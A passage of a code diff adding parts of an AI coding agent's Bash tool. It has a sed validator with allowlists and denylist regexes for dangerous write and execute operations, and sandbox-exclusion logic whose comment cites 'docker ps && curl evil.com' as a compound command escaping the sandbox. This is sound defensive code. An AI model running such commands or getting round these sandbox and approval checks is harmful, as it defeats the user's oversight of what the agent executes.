+ if (!allowedFlags.includes(singleFlag)) {
24
+ return false
25
+ }
26
+ }
27
+ } else {
28
+ // Single flag or long flag
29
+ if (!allowedFlags.includes(flag)) {
30
+ return false
31
+ }
32
+ }
33
+ }
34
+ return true
35
+ }
36
+
37
+ /**
38
+ * Pattern 1: Check if this is a line printing command with -n flag
39
+ * Allows: sed -n 'N' | sed -n 'N,M' with optional -E, -r, -z flags
40
+ * Allows semicolon-separated print commands like: sed -n '1p;2p;3p'
41
+ * File arguments are ALLOWED for this pattern
42
+ * @internal Exported for testing
43
+ */
44
+ export function isLinePrintingCommand(
45
+ command: string,
46
+ expressions: string[],
47
+ ): boolean {
48
+ const sedMatch = command.match(/^\s*sed\s+/)
49
+ if (!sedMatch) return false
50
+
51
+ const withoutSed = command.slice(sedMatch[0].length)
52
+ const parseResult = tryParseShellCommand(withoutSed)
53
+ if (!parseResult.success) return false
54
+ const parsed = parseResult.tokens
55
+
56
+ // Extract all flags
57
+ const flags: string[] = []
58
+ for (const arg of parsed) {
59
+ if (typeof arg === 'string' && arg.startsWith('-') && arg !== '--') {
60
+ flags.push(arg)
61
+ }
62
+ }
63
+
64
+ // Validate flags - only allow -n, -E, -r, -z and their long forms
65
+ const allowedFlags = [
66
+ '-n',
67
+ '--quiet',
68
+ '--silent',
69
+ '-E',
70
+ '--regexp-extended',
71
+ '-r',
72
+ '-z',
73
+ '--zero-terminated',
74
+ '--posix',
75
+ ]
76
+
77
+ if (!validateFlagsAgainstAllowlist(flags, allowedFlags)) {
78
+ return false
79
+ }
80
+
81
+ // Check if -n flag is present (required for Pattern 1)
82
+ let hasNFlag = false
83
+ for (const flag of flags) {
84
+ if (flag === '-n' || flag === '--quiet' || flag === '--silent') {
85
+ hasNFlag = true
86
+ break
87
+ }
88
+ // Check in combined flags
89
+ if (flag.startsWith('-') && !flag.startsWith('--') && flag.includes('n')) {
90
+ hasNFlag = true
91
+ break
92
+ }
93
+ }
94
+
95
+ // Must have -n flag for Pattern 1
96
+ if (!hasNFlag) {
97
+ return false
98
+ }
99
+
100
+ // Must have at least one expression
101
+ if (expressions.length === 0) {
102
+ return false
103
+ }
104
+
105
+ // All expressions must be print commands (strict allowlist)
106
+ // Allow semicolon-separated commands
107
+ for (const expr of expressions) {
108
+ const commands = expr.split(';')
109
+ for (const cmd of commands) {
110
+ if (!isPrintCommand(cmd.trim())) {
111
+ return false
112
+ }
113
+ }
114
+ }
115
+
116
+ return true
117
+ }
118
+
119
+ /**
120
+ * Helper: Check if a single command is a valid print command
121
+ * STRICT ALLOWLIST - only these exact forms are allowed:
122
+ * - p (print all)
123
+ * - Np (print line N, where N is digits)
124
+ * - N,Mp (print lines N through M)
125
+ * Anything else (including w, W, e, E commands) is rejected.
126
+ * @internal Exported for testing
127
+ */
128
+ export function isPrintCommand(cmd: string): boolean {
129
+ if (!cmd) return false
130
+ // Single strict regex that only matches allowed print commands
131
+ // ^(?:\d+|\d+,\d+)?p$ matches: p, 1p, 123p, 1,5p, 10,200p
132
+ return /^(?:\d+|\d+,\d+)?p$/.test(cmd)
133
+ }
134
+
135
+ /**
136
+ * Pattern 2: Check if this is a substitution command
137
+ * Allows: sed 's/pattern/replacement/flags' where flags are only: g, p, i, I, m, M, 1-9
138
+ * When allowFileWrites is true, allows -i flag and file arguments for in-place editing
139
+ * When allowFileWrites is false (default), requires stdout-only (no file arguments, no -i flag)
140
+ * @internal Exported for testing
141
+ */
142
+ function isSubstitutionCommand(
143
+ command: string,
144
+ expressions: string[],
145
+ hasFileArguments: boolean,
146
+ options?: { allowFileWrites?: boolean },
147
+ ): boolean {
148
+ const allowFileWrites = options?.allowFileWrites ?? false
149
+
150
+ // When not allowing file writes, must NOT have file arguments
151
+ if (!allowFileWrites && hasFileArguments) {
152
+ return false
153
+ }
154
+
155
+ const sedMatch = command.match(/^\s*sed\s+/)
156
+ if (!sedMatch) return false
157
+
158
+ const withoutSed = command.slice(sedMatch[0].length)
159
+ const parseResult = tryParseShellCommand(withoutSed)
160
+ if (!parseResult.success) return false
161
+ const parsed = parseResult.tokens
162
+
163
+ // Extract all flags
164
+ const flags: string[] = []
165
+ for (const arg of parsed) {
166
+ if (typeof arg === 'string' && arg.startsWith('-') && arg !== '--') {
167
+ flags.push(arg)
168
+ }
169
+ }
170
+
171
+ // Validate flags based on mode
172
+ // Base allowed flags for both modes
173
+ const allowedFlags = ['-E', '--regexp-extended', '-r', '--posix']
174
+
175
+ // When allowing file writes, also permit -i and --in-place
176
+ if (allowFileWrites) {
177
+ allowedFlags.push('-i', '--in-place')
178
+ }
179
+
180
+ if (!validateFlagsAgainstAllowlist(flags, allowedFlags)) {
181
+ return false
182
+ }
183
+
184
+ // Must have exactly one expression
185
+ if (expressions.length !== 1) {
186
+ return false
187
+ }
188
+
189
+ const expr = expressions[0]!.trim()
190
+
191
+ // STRICT ALLOWLIST: Must be exactly a substitution command starting with 's'
192
+ // This rejects standalone commands like 'e', 'w file', etc.
193
+ if (!expr.startsWith('s')) {
194
+ return false
195
+ }
196
+
197
+ // Parse substitution: s/pattern/replacement/flags
198
+ // Only allow / as delimiter (strict)
199
+ const substitutionMatch = expr.match(/^s\/(.*?)$/)
200
+ if (!substitutionMatch) {
201
+ return false
202
+ }
203
+
204
+ const rest = substitutionMatch[1]!
205
+
206
+ // Find the positions of / delimiters
207
+ let delimiterCount = 0
208
+ let lastDelimiterPos = -1
209
+ let i = 0
210
+ while (i < rest.length) {
211
+ if (rest[i] === '\\') {
212
+ // Skip escaped character
213
+ i += 2
214
+ continue
215
+ }
216
+ if (rest[i] === '/') {
217
+ delimiterCount++
218
+ lastDelimiterPos = i
219
+ }
220
+ i++
221
+ }
222
+
223
+ // Must have found exactly 2 delimiters (pattern and replacement)
224
+ if (delimiterCount !== 2) {
225
+ return false
226
+ }
227
+
228
+ // Extract flags (everything after the last delimiter)
229
+ const exprFlags = rest.slice(lastDelimiterPos + 1)
230
+
231
+ // Validate flags: only allow g, p, i, I, m, M, and optionally ONE digit 1-9
232
+ const allowedFlagChars = /^[gpimIM]*[1-9]?[gpimIM]*$/
233
+ if (!allowedFlagChars.test(exprFlags)) {
234
+ return false
235
+ }
236
+
237
+ return true
238
+ }
239
+
240
+ /**
241
+ * Checks if a sed command is allowed by the allowlist.
242
+ * The allowlist patterns themselves are strict enough to reject dangerous operations.
243
+ * @param command The sed command to check
244
+ * @param options.allowFileWrites When true, allows -i flag and file arguments for substitution commands
245
+ * @returns true if the command is allowed (matches allowlist and passes denylist check), false otherwise
246
+ */
247
+ export function sedCommandIsAllowedByAllowlist(
248
+ command: string,
249
+ options?: { allowFileWrites?: boolean },
250
+ ): boolean {
251
+ const allowFileWrites = options?.allowFileWrites ?? false
252
+
253
+ // Extract sed expressions (content inside quotes where actual sed commands live)
254
+ let expressions: string[]
255
+ try {
256
+ expressions = extractSedExpressions(command)
257
+ } catch (_error) {
258
+ // If parsing failed, treat as not allowed
259
+ return false
260
+ }
261
+
262
+ // Check if sed command has file arguments
263
+ const hasFileArguments = hasFileArgs(command)
264
+
265
+ // Check if command matches allowlist patterns
266
+ let isPattern1 = false
267
+ let isPattern2 = false
268
+
269
+ if (allowFileWrites) {
270
+ // When allowing file writes, only check substitution commands (Pattern 2 variant)
271
+ // Pattern 1 (line printing) doesn't need file writes
272
+ isPattern2 = isSubstitutionCommand(command, expressions, hasFileArguments, {
273
+ allowFileWrites: true,
274
+ })
275
+ } else {
276
+ // Standard read-only mode: check both patterns
277
+ isPattern1 = isLinePrintingCommand(command, expressions)
278
+ isPattern2 = isSubstitutionCommand(command, expressions, hasFileArguments)
279
+ }
280
+
281
+ if (!isPattern1 && !isPattern2) {
282
+ return false
283
+ }
284
+
285
+ // Pattern 2 does not allow semicolons (command separators)
286
+ // Pattern 1 allows semicolons for separating print commands
287
+ for (const expr of expressions) {
288
+ if (isPattern2 && expr.includes(';')) {
289
+ return false
290
+ }
291
+ }
292
+
293
+ // Defense-in-depth: Even if allowlist matches, check denylist
294
+ for (const expr of expressions) {
295
+ if (containsDangerousOperations(expr)) {
296
+ return false
297
+ }
298
+ }
299
+
300
+ return true
301
+ }
302
+
303
+ /**
304
+ * Check if a sed command has file arguments (not just stdin)
305
+ * @internal Exported for testing
306
+ */
307
+ export function hasFileArgs(command: string): boolean {
308
+ const sedMatch = command.match(/^\s*sed\s+/)
309
+ if (!sedMatch) return false
310
+
311
+ const withoutSed = command.slice(sedMatch[0].length)
312
+ const parseResult = tryParseShellCommand(withoutSed)
313
+ if (!parseResult.success) return true
314
+ const parsed = parseResult.tokens
315
+
316
+ try {
317
+ let argCount = 0
318
+ let hasEFlag = false
319
+
320
+ for (let i = 0; i < parsed.length; i++) {
321
+ const arg = parsed[i]
322
+
323
+ // Handle both string arguments and glob patterns (like *.log)
324
+ if (typeof arg !== 'string' && typeof arg !== 'object') continue
325
+
326
+ // If it's a glob pattern, it counts as a file argument
327
+ if (
328
+ typeof arg === 'object' &&
329
+ arg !== null &&
330
+ 'op' in arg &&
331
+ arg.op === 'glob'
332
+ ) {
333
+ return true
334
+ }
335
+
336
+ // Skip non-string arguments that aren't glob patterns
337
+ if (typeof arg !== 'string') continue
338
+
339
+ // Handle -e flag followed by expression
340
+ if ((arg === '-e' || arg === '--expression') && i + 1 < parsed.length) {
341
+ hasEFlag = true
342
+ i++ // Skip the next argument since it's the expression
343
+ continue
344
+ }
345
+
346
+ // Handle --expression=value format
347
+ if (arg.startsWith('--expression=')) {
348
+ hasEFlag = true
349
+ continue
350
+ }
351
+
352
+ // Handle -e=value format (non-standard but defense in depth)
353
+ if (arg.startsWith('-e=')) {
354
+ hasEFlag = true
355
+ continue
356
+ }
357
+
358
+ // Skip other flags
359
+ if (arg.startsWith('-')) continue
360
+
361
+ argCount++
362
+
363
+ // If we used -e flags, ALL non-flag arguments are file arguments
364
+ if (hasEFlag) {
365
+ return true
366
+ }
367
+
368
+ // If we didn't use -e flags, the first non-flag argument is the sed expression,
369
+ // so we need more than 1 non-flag argument to have file arguments
370
+ if (argCount > 1) {
371
+ return true
372
+ }
373
+ }
374
+
375
+ return false
376
+ } catch (_error) {
377
+ return true // Assume dangerous if parsing fails
378
+ }
379
+ }
380
+
381
+ /**
382
+ * Extract sed expressions from command, ignoring flags and filenames
383
+ * @param command Full sed command
384
+ * @returns Array of sed expressions to check for dangerous operations
385
+ * @throws Error if parsing fails
386
+ * @internal Exported for testing
387
+ */
388
+ export function extractSedExpressions(command: string): string[] {
389
+ const expressions: string[] = []
390
+
391
+ // Calculate withoutSed by trimming off the first N characters (removing 'sed ')
392
+ const sedMatch = command.match(/^\s*sed\s+/)
393
+ if (!sedMatch) return expressions
394
+
395
+ const withoutSed = command.slice(sedMatch[0].length)
396
+
397
+ // Reject dangerous flag combinations like -ew, -eW, -ee, -we (combined -e/-w with dangerous commands)
398
+ if (/-e[wWe]/.test(withoutSed) || /-w[eE]/.test(withoutSed)) {
399
+ throw new Error('Dangerous flag combination detected')
400
+ }
401
+
402
+ // Use shell-quote to parse the arguments properly
403
+ const parseResult = tryParseShellCommand(withoutSed)
404
+ if (!parseResult.success) {
405
+ // Malformed shell syntax - throw error to be caught by caller
406
+ throw new Error(`Malformed shell syntax: ${parseResult.error}`)
407
+ }
408
+ const parsed = parseResult.tokens
409
+ try {
410
+ let foundEFlag = false
411
+ let foundExpression = false
412
+
413
+ for (let i = 0; i < parsed.length; i++) {
414
+ const arg = parsed[i]
415
+
416
+ // Skip non-string arguments (like control operators)
417
+ if (typeof arg !== 'string') continue
418
+
419
+ // Handle -e flag followed by expression
420
+ if ((arg === '-e' || arg === '--expression') && i + 1 < parsed.length) {
421
+ foundEFlag = true
422
+ const nextArg = parsed[i + 1]
423
+ if (typeof nextArg === 'string') {
424
+ expressions.push(nextArg)
425
+ i++ // Skip the next argument since we consumed it
426
+ }
427
+ continue
428
+ }
429
+
430
+ // Handle --expression=value format
431
+ if (arg.startsWith('--expression=')) {
432
+ foundEFlag = true
433
+ expressions.push(arg.slice('--expression='.length))
434
+ continue
435
+ }
436
+
437
+ // Handle -e=value format (non-standard but defense in depth)
438
+ if (arg.startsWith('-e=')) {
439
+ foundEFlag = true
440
+ expressions.push(arg.slice('-e='.length))
441
+ continue
442
+ }
443
+
444
+ // Skip other flags
445
+ if (arg.startsWith('-')) continue
446
+
447
+ // If we haven't found any -e flags, the first non-flag argument is the sed expression
448
+ if (!foundEFlag && !foundExpression) {
449
+ expressions.push(arg)
450
+ foundExpression = true
451
+ continue
452
+ }
453
+
454
+ // If we've already found -e flags or a standalone expression,
455
+ // remaining non-flag arguments are filenames
456
+ break
457
+ }
458
+ } catch (error) {
459
+ // If shell-quote parsing fails, treat the sed command as unsafe
460
+ throw new Error(
461
+ `Failed to parse sed command: ${error instanceof Error ? error.message : 'Unknown error'}`,
462
+ )
463
+ }
464
+
465
+ return expressions
466
+ }
467
+
468
+ /**
469
+ * Check if a sed expression contains dangerous operations (denylist)
470
+ * @param expression Single sed expression (without quotes)
471
+ * @returns true if dangerous, false if safe
472
+ */
473
+ function containsDangerousOperations(expression: string): boolean {
474
+ const cmd = expression.trim()
475
+ if (!cmd) return false
476
+
477
+ // CONSERVATIVE REJECTIONS: Broadly reject patterns that could be dangerous
478
+ // When in doubt, treat as unsafe
479
+
480
+ // Reject non-ASCII characters (Unicode homoglyphs, combining chars, etc.)
481
+ // Examples: w (fullwidth), ᴡ (small capital), w̃ (combining tilde)
482
+ // Check for characters outside ASCII range (0x01-0x7F, excluding null byte)
483
+ // eslint-disable-next-line no-control-regex
484
+ if (/[^\x01-\x7F]/.test(cmd)) {
485
+ return true
486
+ }
487
+
488
+ // Reject curly braces (blocks) - too complex to parse
489
+ if (cmd.includes('{') || cmd.includes('}')) {
490
+ return true
491
+ }
492
+
493
+ // Reject newlines - multi-line commands are too complex
494
+ if (cmd.includes('\n')) {
495
+ return true
496
+ }
497
+
498
+ // Reject comments (# not immediately after s command)
499
+ // Comments look like: #comment or start with #
500
+ // Delimiter looks like: s#pattern#replacement#
501
+ const hashIndex = cmd.indexOf('#')
502
+ if (hashIndex !== -1 && !(hashIndex > 0 && cmd[hashIndex - 1] === 's')) {
503
+ return true
504
+ }
505
+
506
+ // Reject negation operator
507
+ // Negation can appear: at start (!/pattern/), after address (/pattern/!, 1,10!, $!)
508
+ // Delimiter looks like: s!pattern!replacement! (has 's' before it)
509
+ if (/^!/.test(cmd) || /[/\d$]!/.test(cmd)) {
510
+ return true
511
+ }
512
+
513
+ // Reject tilde in GNU step address format (digit~digit, ,~digit, or $~digit)
514
+ // Allow whitespace around tilde
515
+ if (/\d\s*~\s*\d|,\s*~\s*\d|\$\s*~\s*\d/.test(cmd)) {
516
+ return true
517
+ }
518
+
519
+ // Reject comma at start (bare comma is shorthand for 1,$ address range)
520
+ if (/^,/.test(cmd)) {
521
+ return true
522
+ }
523
+
524
+ // Reject comma followed by +/- (GNU offset addresses)
525
+ if (/,\s*[+-]/.test(cmd)) {
526
+ return true
527
+ }
528
+
529
+ // Reject backslash tricks:
530
+ // 1. s\ (substitution with backslash delimiter)
531
+ // 2. \X where X could be an alternate delimiter (|, #, %, etc.) - not regex escapes
532
+ if (/s\\/.test(cmd) || /\\[|#%@]/.test(cmd)) {
533
+ return true
534
+ }
535
+
536
+ // Reject escaped slashes followed by w/W (patterns like /\/path\/to\/file/w)
537
+ if (/\\\/.*[wW]/.test(cmd)) {
538
+ return true
539
+ }
540
+
541
+ // Reject malformed/suspicious patterns we don't understand
542
+ // If there's a slash followed by non-slash chars, then whitespace, then dangerous commands
543
+ // Examples: /pattern w file, /pattern e cmd, /foo X;w file
544
+ if (/\/[^/]*\s+[wWeE]/.test(cmd)) {
545
+ return true
546
+ }
547
+
548
+ // Reject malformed substitution commands that don't follow normal pattern
549
+ // Examples: s/foobareoutput.txt (missing delimiters), s/foo/bar//w (extra delimiter)
550
+ if (/^s\//.test(cmd) && !/^s\/[^/]*\/[^/]*\/[^/]*$/.test(cmd)) {
551
+ return true
552
+ }
553
+
554
+ // PARANOID: Reject any command starting with 's' that ends with dangerous chars (w, W, e, E)
555
+ // and doesn't match our known safe substitution pattern. This catches malformed s commands
556
+ // with non-slash delimiters that might be trying to use dangerous flags.
557
+ if (/^s./.test(cmd) && /[wWeE]$/.test(cmd)) {
558
+ // Check if it's a properly formed substitution (any delimiter, not just /)
559
+ const properSubst = /^s([^\\\n]).*?\1.*?\1[^wWeE]*$/.test(cmd)
560
+ if (!properSubst) {
561
+ return true
562
+ }
563
+ }
564
+
565
+ // Check for dangerous write commands
566
+ // Patterns: [address]w filename, [address]W filename, /pattern/w filename, /pattern/W filename
567
+ // Simplified to avoid exponential backtracking (CodeQL issue)
568
+ // Check for w/W in contexts where it would be a command (with optional whitespace)
569
+ if (
570
+ /^[wW]\s*\S+/.test(cmd) || // At start: w file
571
+ /^\d+\s*[wW]\s*\S+/.test(cmd) || // After line number: 1w file or 1 w file
572
+ /^\$\s*[wW]\s*\S+/.test(cmd) || // After $: $w file or $ w file
573
+ /^\/[^/]*\/[IMim]*\s*[wW]\s*\S+/.test(cmd) || // After pattern: /pattern/w file
574
+ /^\d+,\d+\s*[wW]\s*\S+/.test(cmd) || // After range: 1,10w file
575
+ /^\d+,\$\s*[wW]\s*\S+/.test(cmd) || // After range: 1,$w file
576
+ /^\/[^/]*\/[IMim]*,\/[^/]*\/[IMim]*\s*[wW]\s*\S+/.test(cmd) // After pattern range: /s/,/e/w file
577
+ ) {
578
+ return true
579
+ }
580
+
581
+ // Check for dangerous execute commands
582
+ // Patterns: [address]e [command], /pattern/e [command], or commands starting with e
583
+ // Simplified to avoid exponential backtracking (CodeQL issue)
584
+ // Check for e in contexts where it would be a command (with optional whitespace)
585
+ if (
586
+ /^e/.test(cmd) || // At start: e cmd
587
+ /^\d+\s*e/.test(cmd) || // After line number: 1e or 1 e
588
+ /^\$\s*e/.test(cmd) || // After $: $e or $ e
589
+ /^\/[^/]*\/[IMim]*\s*e/.test(cmd) || // After pattern: /pattern/e
590
+ /^\d+,\d+\s*e/.test(cmd) || // After range: 1,10e
591
+ /^\d+,\$\s*e/.test(cmd) || // After range: 1,$e
592
+ /^\/[^/]*\/[IMim]*,\/[^/]*\/[IMim]*\s*e/.test(cmd) // After pattern range: /s/,/e/e
593
+ ) {
594
+ return true
595
+ }
596
+
597
+ // Check for substitution commands with dangerous flags
598
+ // Pattern: s<delim>pattern<delim>replacement<delim>flags where flags contain w or e
599
+ // Per POSIX, sed allows any character except backslash and newline as delimiter
600
+ const substitutionMatch = cmd.match(/s([^\\\n]).*?\1.*?\1(.*?)$/)
601
+ if (substitutionMatch) {
602
+ const flags = substitutionMatch[2] || ''
603
+
604
+ // Check for write flag: s/old/new/w filename or s/old/new/gw filename
605
+ if (flags.includes('w') || flags.includes('W')) {
606
+ return true
607
+ }
608
+
609
+ // Check for execute flag: s/old/new/e or s/old/new/ge
610
+ if (flags.includes('e') || flags.includes('E')) {
611
+ return true
612
+ }
613
+ }
614
+
615
+ // Check for y (transliterate) command followed by dangerous operations
616
+ // Pattern: y<delim>source<delim>dest<delim> followed by anything
617
+ // The y command uses same delimiter syntax as s command
618
+ // PARANOID: Reject any y command that has w/W/e/E anywhere after the delimiters
619
+ const yCommandMatch = cmd.match(/y([^\\\n])/)
620
+ if (yCommandMatch) {
621
+ // If we see a y command, check if there's any w, W, e, or E in the entire command
622
+ // This is paranoid but safe - y commands are rare and w/e after y is suspicious
623
+ if (/[wWeE]/.test(cmd)) {
624
+ return true
625
+ }
626
+ }
627
+
628
+ return false
629
+ }
630
+
631
+ /**
632
+ * Cross-cutting validation step for sed commands.
633
+ *
634
+ * This is a constraint check that blocks dangerous sed operations regardless of mode.
635
+ * It returns 'passthrough' for non-sed commands or safe sed commands,
636
+ * and 'ask' for dangerous sed operations (w/W/e/E commands).
637
+ *
638
+ * @param input - Object containing the command string
639
+ * @param toolPermissionContext - Context containing mode and permissions
640
+ * @returns
641
+ * - 'ask' if any sed command contains dangerous operations
642
+ * - 'passthrough' if no sed commands or all are safe
643
+ */
644
+ export function checkSedConstraints(
645
+ input: { command: string },
646
+ toolPermissionContext: ToolPermissionContext,
647
+ ): PermissionResult {
648
+ const commands = splitCommand_DEPRECATED(input.command)
649
+
650
+ for (const cmd of commands) {
651
+ // Skip non-sed commands
652
+ const trimmed = cmd.trim()
653
+ const baseCmd = trimmed.split(/\s+/)[0]
654
+ if (baseCmd !== 'sed') {
655
+ continue
656
+ }
657
+
658
+ // In acceptEdits mode, allow file writes (-i flag) but still block dangerous operations
659
+ const allowFileWrites = toolPermissionContext.mode === 'acceptEdits'
660
+
661
+ const isAllowed = sedCommandIsAllowedByAllowlist(trimmed, {
662
+ allowFileWrites,
663
+ })
664
+
665
+ if (!isAllowed) {
666
+ return {
667
+ behavior: 'ask',
668
+ message:
669
+ 'sed command requires approval (contains potentially dangerous operations)',
670
+ decisionReason: {
671
+ type: 'other',
672
+ reason:
673
+ 'sed command contains operations that require explicit approval (e.g., write commands, execute commands)',
674
+ },
675
+ }
676
+ }
677
+ }
678
+
679
+ // No dangerous sed commands found (or no sed commands at all)
680
+ return {
681
+ behavior: 'passthrough',
682
+ message: 'No dangerous sed operations detected',
683
+ }
684
+ }
src/tools/BashTool/shouldUseSandbox.ts ADDED
@@ -0,0 +1,153 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { getFeatureValue_CACHED_MAY_BE_STALE } from 'src/services/analytics/growthbook.js'
2
+ import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
3
+ import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
4
+ import { getSettings_DEPRECATED } from '../../utils/settings/settings.js'
5
+ import {
6
+ BINARY_HIJACK_VARS,
7
+ bashPermissionRule,
8
+ matchWildcardPattern,
9
+ stripAllLeadingEnvVars,
10
+ stripSafeWrappers,
11
+ } from './bashPermissions.js'
12
+
13
+ type SandboxInput = {
14
+ command?: string
15
+ dangerouslyDisableSandbox?: boolean
16
+ }
17
+
18
+ // NOTE: excludedCommands is a user-facing convenience feature, not a security boundary.
19
+ // It is not a security bug to be able to bypass excludedCommands — the sandbox permission
20
+ // system (which prompts users) is the actual security control.
21
+ function containsExcludedCommand(command: string): boolean {
22
+ // Check dynamic config for disabled commands and substrings (only for ants)
23
+ if (process.env.USER_TYPE === 'ant') {
24
+ const disabledCommands = getFeatureValue_CACHED_MAY_BE_STALE<{
25
+ commands: string[]
26
+ substrings: string[]
27
+ }>('tengu_sandbox_disabled_commands', { commands: [], substrings: [] })
28
+
29
+ // Check if command contains any disabled substrings
30
+ for (const substring of disabledCommands.substrings) {
31
+ if (command.includes(substring)) {
32
+ return true
33
+ }
34
+ }
35
+
36
+ // Check if command starts with any disabled commands
37
+ try {
38
+ const commandParts = splitCommand_DEPRECATED(command)
39
+ for (const part of commandParts) {
40
+ const baseCommand = part.trim().split(' ')[0]
41
+ if (baseCommand && disabledCommands.commands.includes(baseCommand)) {
42
+ return true
43
+ }
44
+ }
45
+ } catch {
46
+ // If we can't parse the command (e.g., malformed bash syntax),
47
+ // treat it as not excluded to allow other validation checks to handle it
48
+ // This prevents crashes when rendering tool use messages
49
+ }
50
+ }
51
+
52
+ // Check user-configured excluded commands from settings
53
+ const settings = getSettings_DEPRECATED()
54
+ const userExcludedCommands = settings.sandbox?.excludedCommands ?? []
55
+
56
+ if (userExcludedCommands.length === 0) {
57
+ return false
58
+ }
59
+
60
+ // Split compound commands (e.g. "docker ps && curl evil.com") into individual
61
+ // subcommands and check each one against excluded patterns. This prevents a
62
+ // compound command from escaping the sandbox just because its first subcommand
63
+ // matches an excluded pattern.
64
+ let subcommands: string[]
65
+ try {
66
+ subcommands = splitCommand_DEPRECATED(command)
67
+ } catch {
68
+ subcommands = [command]
69
+ }
70
+
71
+ for (const subcommand of subcommands) {
72
+ const trimmed = subcommand.trim()
73
+ // Also try matching with env var prefixes and wrapper commands stripped, so
74
+ // that `FOO=bar bazel ...` and `timeout 30 bazel ...` match `bazel:*`. Not a
75
+ // security boundary (see NOTE at top); the &&-split above already lets
76
+ // `export FOO=bar && bazel ...` match. BINARY_HIJACK_VARS kept as a heuristic.
77
+ //
78
+ // We iteratively apply both stripping operations until no new candidates are
79
+ // produced (fixed-point), matching the approach in filterRulesByContentsMatchingInput.
80
+ // This handles interleaved patterns like `timeout 300 FOO=bar bazel run`
81
+ // where single-pass composition would fail.
82
+ const candidates = [trimmed]
83
+ const seen = new Set(candidates)
84
+ let startIdx = 0
85
+ while (startIdx < candidates.length) {
86
+ const endIdx = candidates.length
87
+ for (let i = startIdx; i < endIdx; i++) {
88
+ const cmd = candidates[i]!
89
+ const envStripped = stripAllLeadingEnvVars(cmd, BINARY_HIJACK_VARS)
90
+ if (!seen.has(envStripped)) {
91
+ candidates.push(envStripped)
92
+ seen.add(envStripped)
93
+ }
94
+ const wrapperStripped = stripSafeWrappers(cmd)
95
+ if (!seen.has(wrapperStripped)) {
96
+ candidates.push(wrapperStripped)
97
+ seen.add(wrapperStripped)
98
+ }
99
+ }
100
+ startIdx = endIdx
101
+ }
102
+
103
+ for (const pattern of userExcludedCommands) {
104
+ const rule = bashPermissionRule(pattern)
105
+ for (const cand of candidates) {
106
+ switch (rule.type) {
107
+ case 'prefix':
108
+ if (cand === rule.prefix || cand.startsWith(rule.prefix + ' ')) {
109
+ return true
110
+ }
111
+ break
112
+ case 'exact':
113
+ if (cand === rule.command) {
114
+ return true
115
+ }
116
+ break
117
+ case 'wildcard':
118
+ if (matchWildcardPattern(rule.pattern, cand)) {
119
+ return true
120
+ }
121
+ break
122
+ }
123
+ }
124
+ }
125
+ }
126
+
127
+ return false
128
+ }
129
+
130
+ export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
131
+ if (!SandboxManager.isSandboxingEnabled()) {
132
+ return false
133
+ }
134
+
135
+ // Don't sandbox if explicitly overridden AND unsandboxed commands are allowed by policy
136
+ if (
137
+ input.dangerouslyDisableSandbox &&
138
+ SandboxManager.areUnsandboxedCommandsAllowed()
139
+ ) {
140
+ return false
141
+ }
142
+
143
+ if (!input.command) {
144
+ return false
145
+ }
146
+
147
+ // Don't sandbox if the command contains user-configured excluded commands
148
+ if (containsExcludedCommand(input.command)) {
149
+ return false
150
+ }
151
+
152
+ return true
153
+ }
src/tools/BashTool/toolName.ts ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ // Here to break circular dependency from prompt.ts
2
+ export const BASH_TOOL_NAME = 'Bash'
src/tools/BashTool/utils.ts ADDED
@@ -0,0 +1,223 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import type {
2
+ Base64ImageSource,
3
+ ContentBlockParam,
4
+ ToolResultBlockParam,
5
+ } from '@anthropic-ai/sdk/resources/index.mjs'
6
+ import { readFile, stat } from 'fs/promises'
7
+ import { getOriginalCwd } from 'src/bootstrap/state.js'
8
+ import { logEvent } from 'src/services/analytics/index.js'
9
+ import type { ToolPermissionContext } from 'src/Tool.js'
10
+ import { getCwd } from 'src/utils/cwd.js'
11
+ import { pathInAllowedWorkingPath } from 'src/utils/permissions/filesystem.js'
12
+ import { setCwd } from 'src/utils/Shell.js'
13
+ import { shouldMaintainProjectWorkingDir } from '../../utils/envUtils.js'
14
+ import { maybeResizeAndDownsampleImageBuffer } from '../../utils/imageResizer.js'
15
+ import { getMaxOutputLength } from '../../utils/shell/outputLimits.js'
16
+ import { countCharInString, plural } from '../../utils/stringUtils.js'
17
+ /**
18
+ * Strips leading and trailing lines that contain only whitespace/newlines.
19
+ * Unlike trim(), this preserves whitespace within content lines and only removes
20
+ * completely empty lines from the beginning and end.
21
+ */
22
+ export function stripEmptyLines(content: string): string {
23
+ const lines = content.split('\n')
24
+
25
+ // Find the first non-empty line
26
+ let startIndex = 0
27
+ while (startIndex < lines.length && lines[startIndex]?.trim() === '') {
28
+ startIndex++
29
+ }
30
+
31
+ // Find the last non-empty line
32
+ let endIndex = lines.length - 1
33
+ while (endIndex >= 0 && lines[endIndex]?.trim() === '') {
34
+ endIndex--
35
+ }
36
+
37
+ // If all lines are empty, return empty string
38
+ if (startIndex > endIndex) {
39
+ return ''
40
+ }
41
+
42
+ // Return the slice with non-empty lines
43
+ return lines.slice(startIndex, endIndex + 1).join('\n')
44
+ }
45
+
46
+ /**
47
